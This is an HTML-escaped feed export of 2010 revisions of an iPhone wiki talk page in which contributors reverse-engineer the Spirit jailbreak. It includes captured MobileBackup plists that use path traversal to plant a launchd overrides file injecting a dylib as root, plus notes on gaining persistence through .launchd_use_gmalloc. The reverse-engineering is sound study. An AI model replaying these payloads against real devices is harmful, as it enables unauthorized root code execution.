&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBs&lt;br /&gt;
	aXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3&lt;br /&gt;
	dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJz&lt;br /&gt;
	aW9uPSIxLjAiPgo8ZGljdD4KICAgIDxrZXk+Y29tLmFwcGxlLlNwcmluZ0JvYXJkPC9r&lt;br /&gt;
	ZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PkRpc2FibGVkPC9rZXk+CiAgICAgICAg&lt;br /&gt;
	PHRydWUvPgogICAgPC9kaWN0PgoKICAgIDxrZXk+Y29tLmFwcGxlLnRjcGR1bXAuc2Vy&lt;br /&gt;
	dmVyPC9rZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PktlZXBBbGl2ZTwva2V5Pgog&lt;br /&gt;
	ICAgICAgIDx0cnVlLz4KICAgICAgICA8a2V5PkxhYmVsPC9rZXk+CiAgICAgICAgPHN0&lt;br /&gt;
	cmluZz5jb20uYXBwbGUudGNwZHVtcC5zZXJ2ZXI8L3N0cmluZz4KICAgICAgICA8a2V5&lt;br /&gt;
	PlByb2dyYW1Bcmd1bWVudHM8L2tleT4KICAgICAgICA8YXJyYXk+CiAgICAgICAgICAg&lt;br /&gt;
	IDxzdHJpbmc+L3NiaW4vbGF1bmNoZDwvc3RyaW5nPgogICAgICAgIDwvYXJyYXk+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5SdW5BdExvYWQ8L2tleT4KICAgICAgICA8dHJ1ZS8+CiAgICAgICAg&lt;br /&gt;
	PGtleT5MYXVuY2hPbmx5T25jZTwva2V5PgogICAgICAgIDx0cnVlLz4KICAgICAgICA8&lt;br /&gt;
	a2V5PlVzZXJOYW1lPC9rZXk+CiAgICAgICAgPHN0cmluZz5yb290PC9zdHJpbmc+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5FbnZpcm9ubWVudFZhcmlhYmxlczwva2V5PgogICAgICAgIDxkaWN0&lt;br /&gt;
	PgogICAgICAgICAgICA8a2V5PkRZTERfSU5TRVJUX0xJQlJBUklFUzwva2V5PgogICAg&lt;br /&gt;
	ICAgICAgICA8c3RyaW5nPi92YXIvbW9iaWxlL01lZGlhL3NwaXJpdC9vbmUuZHlsaWI8&lt;br /&gt;
	L3N0cmluZz4KICAgICAgICA8L2RpY3Q+CiAgICA8L2RpY3Q+CjwvZGljdD4KPC9wbGlz&lt;br /&gt;
	dD4KCg==&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/launchd.db/com.apple.launchd/overrides.plist&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Transmitted Data Chunk (Decoded as Base64):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;dict&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;com.apple.SpringBoard&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;dict&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;Disabled&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;true/&amp;gt;&lt;br /&gt;
    &amp;lt;/dict&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;key&amp;gt;com.apple.tcpdump.server&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;dict&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;KeepAlive&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;true/&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;Label&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;com.apple.tcpdump.server&amp;lt;/string&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;ProgramArguments&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;array&amp;gt;&lt;br /&gt;
            &amp;lt;string&amp;gt;/sbin/launchd&amp;lt;/string&amp;gt;&lt;br /&gt;
        &amp;lt;/array&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;RunAtLoad&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;true/&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;LaunchOnlyOnce&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;true/&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;UserName&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;root&amp;lt;/string&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;EnvironmentVariables&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;dict&amp;gt;&lt;br /&gt;
            &amp;lt;key&amp;gt;DYLD_INSERT_LIBRARIES&amp;lt;/key&amp;gt;&lt;br /&gt;
            &amp;lt;string&amp;gt;/var/mobile/Media/spirit/one.dylib&amp;lt;/string&amp;gt;&lt;br /&gt;
        &amp;lt;/dict&amp;gt;&lt;br /&gt;
    &amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F73C30 [100B4070]&amp;gt; {&lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73AE8 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;}&lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F73BE8 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                        0 : &amp;lt;CFString 00F73B68 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F73BA0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreReplyOK&amp;quot;}&lt;br /&gt;
                        1 : &amp;lt;CFString 00F73B30 [100B4070]&amp;gt;{contents = &amp;quot;BackupProtocolVersion&amp;quot;} = &amp;lt;CFString 00F74980 [100B4070]&amp;gt;{contents = &amp;quot;1.6&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 3 - Touch .launchd_use_gmalloc====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860295&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/.launchd_use_gmalloc&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F80D70 [100B4070]&amp;gt; {     &lt;br /&gt;
      type = immutable, count = 2, values = (&lt;br /&gt;
            0 : &amp;lt;CFString 00F73C60 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageProcessMessage&amp;quot;} &lt;br /&gt;
            1 : &amp;lt;CFBasicHash 00F80D28 [100B4070]&amp;gt; {&lt;br /&gt;
                  type = immutable dict, count = 2, entries =&amp;gt;&lt;br /&gt;
                  0 : &amp;lt;CFString 00F7D4B0 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageTypeKey&amp;quot;} = &amp;lt;CFString 00F80CA8 [100B4070]&amp;gt;{contents = &amp;quot;BackupMessageRestoreFileReceived&amp;quot;}&lt;br /&gt;
                  2 : &amp;lt;CFString 00F80C70 [100B4070]&amp;gt;{contents = &amp;quot;BackupRestoreFileName&amp;quot;} = &amp;lt;CFString 00F80CF0 [100B4070]&amp;gt;{contents = &amp;quot;/tmp/stuff.1273764810&amp;quot;}&lt;br /&gt;
            } &lt;br /&gt;
      )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:11, 17 May 2010 (UTC)&lt;/div&gt;</summary>
		<author><name>EnohpiDesrever</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6406</id>
		<title>Talk:Spirit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6406"/>
		<updated>2010-05-17T17:28:15Z</updated>

		<summary type="html">&lt;p&gt;EnohpiDesrever: /* plist 3 - Upload .launchd_use_gmalloc */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There exists also a tool called [[Spirit Fixer|Spirit Fixer v1.01]], written by [[Kirma]]. Anybody knows what that is? Here's a link: http://twitter.com/elior231/status/13296125900&lt;br /&gt;
&lt;br /&gt;
--[[User:Http|http]] 21:42, 4 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I'd love to see a technical writeup of everything, although I don't blame you if you don't. I'm lazy about those things too. As far as trying to keep it secret from Apple, I don't feel theres a point, they'll find it no matter what we do.&lt;br /&gt;
&lt;br /&gt;
--[[User:Geohot|geohot]] 14:02, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I have started reverse engineering Spirit and making some UML(like) data flow and function diagrams. The problem is that I am guessing at too many things since I did not wana post anything and have someone get pissed it was out there. I am up for putting a formal brief together if others want to collaborate. I would imagine as Geohot said, that apple had this disassembled before the .tar was dry. Not to mention that they are not just looking for the exploit that was used (since they most likely had a whiteboard full of potentials during design) , they are looking for copyright violations and their stollen code in every bit of its bits.  &lt;br /&gt;
&lt;br /&gt;
--KodeSlinger 16:31, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Meh, as mentioned on spiritjb.com, once Apple has shown that they've fixed it, the source will be released anyway. - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - I started working on it BS (Before Spirit :) ), to create a centralized location that dynamically maps (HW/FW/SW) physical and logical drawings together. My thought was something like this wiki on crack. Ideally to generate functional diagrams of the idevice that act as a starting point to link to more detailed sections pertaining to that functions exploits, related functions, and source code samples(or any other data). Since I am new to this community I have been trying to organize this data for my own brain, and thought others might use it. I will post some screen shots later. The more organized we are the easier it will be to exploit the next vulnerability. &lt;br /&gt;
--[[User:Viper911h|KodeSlinger]] 20:11, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Oh hah, cool :)  If you do that though, obviously you shouldn't go overboard and start publicly discussing variations of this that would help Apple close other holes yet to be exploited (it sounds like your well-versed enough to do that!) - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - Hah; yeah obviously cool kidz only lol --[[User:Viper911h|KodeSlinger]] 21:08, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Reversing Spirit ==&lt;br /&gt;
&lt;br /&gt;
I just started reversing Spirit and thought I'd share what I learned so far in hopes of hearing more from others.&lt;br /&gt;
&lt;br /&gt;
Spirit.exe extracts a bunch of files into a temp directory as follows:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
+ Documents and Settings/&amp;lt;User&amp;gt;/Local Settings/spiritxxx&lt;br /&gt;
|&lt;br /&gt;
+ - dl&lt;br /&gt;
|   |&lt;br /&gt;
|   + - dl.exe&lt;br /&gt;
|&lt;br /&gt;
+ - igor&lt;br /&gt;
|   |&lt;br /&gt;
|   + - 2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf.dylib&lt;br /&gt;
|   + - 3e404d11fcbd5486d3be2dd86ce21316e1854842.dylib&lt;br /&gt;
|   + - 74227c0021c5e12effb5bd3175eb469a8df0622e.dylib&lt;br /&gt;
|   + - b735701843456754988021d128c2671ee36d1b04.dylib&lt;br /&gt;
|   + - f6c17e934ba0ad477812de0b7cb019396d259d93.dylib&lt;br /&gt;
|   + - install&lt;br /&gt;
|   + - map.plist&lt;br /&gt;
|&lt;br /&gt;
+ - resources&lt;br /&gt;
    |&lt;br /&gt;
    + - 320x480.jpg&lt;br /&gt;
    + - 1024x768.jpg&lt;br /&gt;
    + - overrides.plist&lt;br /&gt;
    + - icon.ico&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Spirit.exe is simply a GUI wrapper for dl.exe, which does the heavy lifting and is written using the cross-platform library CoreFoundation.dll.  Dl.exe uses the iTunes DLL to get access to the iDevice, registering a callback function through AMDeviceNotificationSubscribe.  The callback function launches a thread, which uploads 4 files as follows:&lt;br /&gt;
&lt;br /&gt;
# One of the dylibs (depending on the iDevice version?) is uploaded as /var/mobile/Media/spirit/one.dylib&lt;br /&gt;
# The Mach-O ARM executable &amp;quot;install&amp;quot; is uploaded as /var/mobile/Media/spirit/install&lt;br /&gt;
# The Spirit.exe is uploaded as /var/mobile/Media/spirit/freeze.tar.xz&lt;br /&gt;
# One of the jpgs is uploaded as /var/mobile/Media/spirit/bg.jpg&lt;br /&gt;
&lt;br /&gt;
After the files are uploaded, the upload thread signals to the main thread that the files are ready.  The main thread then sends over two plists (shown at the end of the log below) via MobileBackup.&lt;br /&gt;
&lt;br /&gt;
As I've only just started looking at this, and I'm also new to the iPhone scene, I have lots of questions.&lt;br /&gt;
&lt;br /&gt;
# Is the MobileBackup interface documented anywhere?  Was it used in other jb tools before Spirit?&lt;br /&gt;
# Why is Spirit.exe uploaded to the iDevice as freeze.tar.xz?&lt;br /&gt;
# What purpose do map.plist and overrides.plist serve?&lt;br /&gt;
# What are the two plists sent at the end of the transfer, and how do they allow the &amp;quot;install&amp;quot; image to be executed?&lt;br /&gt;
# What does install do to provide an untethered solution?&lt;br /&gt;
&lt;br /&gt;
I'll post more as I learn, but it would be nice to hear if others have made more progress.&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:47, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
# Don't think it's documented.&lt;br /&gt;
# Actually, freeze.tar.xz is tacked on to Spirit.exe, after the string 'magicmagicmagicm'.  xz is http://tukaani.org/xz/&lt;br /&gt;
# One maps firmware version to the dylib that should be uploaded.  The other is read by launchd.&lt;br /&gt;
# Just look at the contents of overrides.plist and the launchd source.  The nefarious part is actually getting that file in the appropriate directory.  (Note that overrides is only used for the initial install, because launchd spawns everything at once and the following solution ensures the exploit is run first.)&lt;br /&gt;
# By installing itself as /usr/lib/libgmalloc.dylib.  To quote saurik: &amp;quot;if you touch the file /var/db/.launchd_use_gmalloc, then the first thing launchd does is set DYLD_INSERT_LIBRARIES to /usr/lib/libgmalloc.dylib and restart itself&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:Comex|Comex]] 22:54, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== More Reversings ==&lt;br /&gt;
&lt;br /&gt;
Thanks for your response, Comex, and thanks for the jailbreak!  Hope you don't mind me posting what I learn here.  I figure that Apple's got to be way ahead of my progress if they care at all to fix the vulnerability.  I have some more questions for you, if you don't mind, based on the MobileBackup dialogue I found in Spirit (see below).&lt;br /&gt;
&lt;br /&gt;
# What type of encoding is used to encode the overrides file that is uploaded?&lt;br /&gt;
# How is /tmp/stuff.1273860295 used to touch launchd_use_gmalloc?&lt;br /&gt;
# Is the crazy directory traversal (Library/Preferences/SystemConfiguration/../../../../../) necessary to circumvent security or just an artifact?&lt;br /&gt;
&lt;br /&gt;
So, let me see if I understand the vulnerabilities that you are exploiting.  You found a way to override the environment variable DYLD_INSERT_LIBRARIES via MobileBackup to point to your own library (/var/mobile/Media/spirit/one.dylib).  You then installed your own patched version of /usr/lib/libgmalloc.dylib, which gets loaded everytime the device boots up and launchd is executed.&lt;br /&gt;
&lt;br /&gt;
Below is the MobileBackup dialogue I extracted.&lt;br /&gt;
&lt;br /&gt;
==== plist 0 - Version Exchange ====&lt;br /&gt;
&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageVersionExchange&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLVersionsOk&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F72AE0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 3, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F72A70 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageVersionExchange&amp;quot; }&lt;br /&gt;
                1 : &amp;lt;CFNumber 00F80F08 [100B4070]&amp;gt;{value = +100, type = kCFNumberSInt64Type}&lt;br /&gt;
                2 : &amp;lt;CFNumber 00F72AB8 [100B4070]&amp;gt;{value = +0, type = kCFNumberSInt32Type}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 1 - Restore Request ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageProcessMessage&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupManifestKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthSignature&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			7ZSsx9DFT5h7/4rkU1uJJebKwbc=&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;2.0&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Data&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4K&lt;br /&gt;
			PCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQ&lt;br /&gt;
			TElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFRE&lt;br /&gt;
			cy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9u&lt;br /&gt;
			PSIxLjAiPgo8ZGljdD4KCTxrZXk+QXBwbGljYXRpb25zPC9rZXk+&lt;br /&gt;
			Cgk8ZGljdC8+Cgk8a2V5PkRldmljZUlkPC9rZXk+Cgk8c3RyaW5n&lt;br /&gt;
			PmYzNjQ3OGI3OTUzYzZhZWFkMTlmOGYzMTZhZmIzYzBmNDg2YWMz&lt;br /&gt;
			OWI8L3N0cmluZz4KCTxrZXk+RmlsZXM8L2tleT4KCTxkaWN0PgoJ&lt;br /&gt;
			CTxrZXk+NjYxZjVhMTYyMTk1ODhjNmU4NDY3MzVjNjYzZmJlMzFl&lt;br /&gt;
			NWY4NGRhNTwva2V5PgoJCTxkaWN0PgoJCQk8a2V5PkRhdGFIYXNo&lt;br /&gt;
			PC9rZXk+CgkJCTxkYXRhPgoJCQlxZytPdnJUWXM0T1oxQjdZTFJS&lt;br /&gt;
			WURFbE82bDg9CgkJCTwvZGF0YT4KCQkJPGtleT5Eb21haW48L2tl&lt;br /&gt;
			eT4KCQkJPHN0cmluZz5Ib21lRG9tYWluPC9zdHJpbmc+CgkJCTxr&lt;br /&gt;
			ZXk+RmlsZUxlbmd0aDwva2V5PgoJCQk8aW50ZWdlcj45MjI8L2lu&lt;br /&gt;
			dGVnZXI+CgkJCTxrZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVn&lt;br /&gt;
			ZXI+MDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxp&lt;br /&gt;
			bnRlZ2VyPjM4NDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRp&lt;br /&gt;
			b25UaW1lPC9rZXk+CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6&lt;br /&gt;
			NDZaPC9kYXRlPgoJCQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGlu&lt;br /&gt;
			dGVnZXI+MDwvaW50ZWdlcj4KCQk8L2RpY3Q+CgkJPGtleT5iYTdl&lt;br /&gt;
			NDM1MzRjZDVhOThkZTA4MGU2MTQxYmVhZjVkYzAwNGFkMjM3PC9r&lt;br /&gt;
			ZXk+CgkJPGRpY3Q+CgkJCTxrZXk+RGF0YUhhc2g8L2tleT4KCQkJ&lt;br /&gt;
			PGRhdGE+CgkJCW1TWGRRNGlLZWQ3SFMvS3IyRWNPSFE0TEliST0K&lt;br /&gt;
			CQkJPC9kYXRhPgoJCQk8a2V5PkRvbWFpbjwva2V5PgoJCQk8c3Ry&lt;br /&gt;
			aW5nPkhvbWVEb21haW48L3N0cmluZz4KCQkJPGtleT5GaWxlTGVu&lt;br /&gt;
			Z3RoPC9rZXk+CgkJCTxpbnRlZ2VyPjA8L2ludGVnZXI+CgkJCTxr&lt;br /&gt;
			ZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50ZWdl&lt;br /&gt;
			cj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxpbnRlZ2VyPjM4NDwv&lt;br /&gt;
			aW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRpb25UaW1lPC9rZXk+&lt;br /&gt;
			CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6NDZaPC9kYXRlPgoJ&lt;br /&gt;
			CQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50&lt;br /&gt;
			ZWdlcj4KCQk8L2RpY3Q+Cgk8L2RpY3Q+Cgk8a2V5PlZlcnNpb248&lt;br /&gt;
			L2tleT4KCTxzdHJpbmc+Ni4yPC9zdHJpbmc+CjwvZGljdD4KPC9w&lt;br /&gt;
			bGlzdD4K&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;IsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;/dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupMessageTypeKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;kBackupMessageRestoreRequest&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupNotifySpringBoard&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupPreserveCameraRoll&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
